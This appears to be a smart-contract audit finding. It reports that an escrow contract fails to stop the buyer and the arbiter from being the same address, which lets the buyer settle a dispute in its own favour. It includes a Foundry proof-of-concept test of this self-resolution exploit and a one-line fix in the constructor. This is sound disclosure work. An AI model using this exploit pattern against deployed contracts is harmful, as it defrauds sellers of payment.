While README intends arbiter as trusted role, escrow does not prevent arbiter and buyer being set to the same address.
Seller does not get paid for service.
pragma solidity 0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {EscrowFactory} from "../../src/EscrowFactory.sol";
import {EscrowTestBase} from "../EscrowTestBase.t.sol";
import {IEscrow, Escrow} from "../../src/Escrow.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {ERC20MockFailedTransfer} from "../mocks/ERC20MockFailedTransfer.sol";
import {DeployEscrowFactory} from "../../script/DeployEscrowFactory.s.sol";
contract EscrowAttack is Test, EscrowTestBase {
EscrowFactory public escrowFactory;
address public constant SOME_DEPLOYER = address(4);
IEscrow public escrow;
uint256 public buyerAward = 0;
function setUp() external {
DeployEscrowFactory deployer = new DeployEscrowFactory();
escrowFactory = deployer.run();
}
function testArbiter() public {
vm.startPrank(BUYER);
ERC20Mock(address(i_tokenContract)).mint(BUYER, PRICE);
ERC20Mock(address(i_tokenContract)).approve(address(escrowFactory), PRICE);
escrow = escrowFactory.newEscrow(PRICE, i_tokenContract, SELLER, BUYER, ARBITER_FEE, SALT1);
vm.stopPrank();
address arbiter = escrow.getArbiter();
address buyer = escrow.getBuyer();
console.log("aribter address:");
console.log(arbiter);
console.log("buyer address:");
console.log(buyer);
console.log("seller provides service");
console.log("============================");
vm.startPrank(BUYER);
uint256 balanceBeforeAttack = ERC20Mock(address(i_tokenContract)).balanceOf(address(escrow));
console.log("Escrow balance before attack:");
console.logUint(balanceBeforeAttack);
escrow.initiateDispute();
escrow.resolveDispute(balanceBeforeAttack - ARBITER_FEE);
uint256 balanceAfterAttack = ERC20Mock(address(i_tokenContract)).balanceOf(address(escrow));
console.log("Escrow Balance after attack:");
console.logUint(balanceAfterAttack);
vm.stopPrank();
}
}
constructor(
uint256 price,
IERC20 tokenContract,
address buyer,
address seller,
address arbiter,
uint256 arbiterFee
) {
+ if(buyer == arbiter) revert();
if (address(tokenContract) == address(0)) revert Escrow__TokenZeroAddress();
if (buyer == address(0)) revert Escrow__BuyerZeroAddress();
if (seller == address(0)) revert Escrow__SellerZeroAddress();
if (arbiterFee >= price) revert Escrow__FeeExceedsPrice(price, arbiterFee);
if (tokenContract.balanceOf(address(this)) < price) revert Escrow__MustDeployWithTokenBalance();
i_price = price;
i_tokenContract = tokenContract;
i_buyer = buyer;
i_seller = seller;
i_arbiter = arbiter;
i_arbiterFee = arbiterFee;
}